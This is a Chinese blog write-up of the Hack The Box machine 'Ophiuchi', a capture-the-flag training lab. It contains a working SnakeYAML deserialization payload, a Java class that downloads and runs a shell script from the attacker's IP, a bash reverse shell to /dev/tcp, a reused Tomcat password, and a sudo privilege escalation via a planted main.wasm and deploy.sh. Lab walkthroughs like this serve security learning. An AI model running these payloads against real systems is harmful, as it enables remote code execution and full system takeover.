HTB 学习笔记
【Hack The Box】linux练习-- Ophiuchi
🔥系列专栏:Hack The Box
 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
 📆首发时间:🌴2022年11月27日🌴
 🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 8080
- 目录爆破
 
 
- java-yaml反序列化
- 获取shell
- tomcat ->admin
- admin->root
- wasm
- 修改
 

信息收集
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
8080
Parse YAML
  死页面,啥都干不了,输入一个东西他说网站已经关闭
死页面,啥都干不了,输入一个东西他说网站已经关闭
目录爆破
目录爆破命令就不写了
得到
 /test (Status: 302)
 /manager (Status: 302)
manager页面要求登陆

 YAML 解析器在安全处理数据序列化数据方面出了名的糟糕。它会尝试将 YAML 解析为对象,这就是反序列化。
尽管该网站说它已关闭,但尚不清楚它是在尝试反序列化用户输入之前还是之后显示的。 我将尝试使用 YAML 反序列化负载进行检查。 由于服务器是 Tomcat,我将寻找基于 Java 的有效载荷。
java-yaml反序列化
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.7/"]
  ]]
]
本地开启的python 服务器回收到信号
 说明反序列化成功
 关于yaml反序列化的利用,利用
https://github.com/artsploit/yaml-payload
https://github.com/mbechler/marshalsec
修改payload,而后修改payload让他请求我们的恶意jar包
操作
- 下载
 proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
 得到src
- 修改AwesomeScriptEngineFactory.java
  
- 编译
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf ping.jar -C src/ .  //打包
得到了一个ping.jar
 
 4. 开一个python服务器以及一个icmp监听
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.29/ping.jar"]
  ]]
]
请求这个ping包
 我们发现本地的icmp收到了ping
 所以我们的道路通畅
 接下来修改命令来执行命令
 
 那么这是确定存在rce,在java中,实现rce的手段我们通常选择如下利用.sh脚本的方法
获取shell
- 写一个脚本
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/4242 0>&1
- 修改java文件
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");
            Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");
            Runtime.getRuntime().exec("bash /tmp/shell.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
重新编译打包运行
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf shell.jar -C src/ .

tomcat ->admin
作为tomcat用户,当前主目录是 /opt/tomcat:
 /opt/tomcat/conf/tomcat-users.xml具有 Tomcat 的用户名和密码:
找到密码
 whythereisalimit
su admin
密码重用成功

admin->root

 没有go的二进制提权
 看一下那个index.go文件是个什么情况
package main
import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)
func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")
        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}
他会导入几个模块,然后定义一个函数,读取main.wasm,然后放到一个新的实例,然后返回的如果不是1,就输出Not ready to deploy",如果是1,就/bin/sh", "deploy.sh,执行这个脚本
我直接执行,没用
sudo /usr/bin/go run /opt/wasm-functions/index.go
并且会报错,那我先找到main.wasm,然后执行一下看看
find / -name "main.wasm" 2>/dev/null

 两个目录都是第一种情况
  那么接下来就是要想办法让返回值是1
那么接下来就是要想办法让返回值是1
wasm
WASM 或 Web Assembly 是一种二进制指令格式,用于设计用于跨平台运行的基于堆栈的虚拟机。 WASM 的主要目的是在网页上拥有快速和高性能的应用程序,但它也可以在其他环境中运行。
proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
cd wabt/
apt install cmake
make
wasm-decompile main.wasm 
到这里就可以生成一个main.wasm 
将转换 main.wasm转换成 WebAssembly 文本格式(从二进制格式):

 因为 Go 程序对main.wasm 的调用不使用绝对路径,所以我可以控制两者 main.wasm和 deploy.sh. 我会写一个 main.wasm返回 1 和一个 deploy.sh
修改
把返回值改成1,在wat中他是const后的参数
 将main.wasm 转换为main.wat以便修改
wasm2wat main.wasm -o main.wat

 修改完再变回来
wat2wasm main.wat -o main.wasm
这个脚本就很普通了,正常的一个赋权脚本
deploy.sh
#!/bin/bash
chmod +x /bin/bash
传输到靶机/tmp目录
然后给当前目录临时写进环境变量
export PATH=/tmp:$PATH
 脚本失效?nonono,我忘记赋权了
脚本失效?nonono,我忘记赋权了
 chmod +x
 截图是我尝试写入ssh密钥
截图是我尝试写入ssh密钥
 用上面的脚本直接/bin/bash -p 即可



















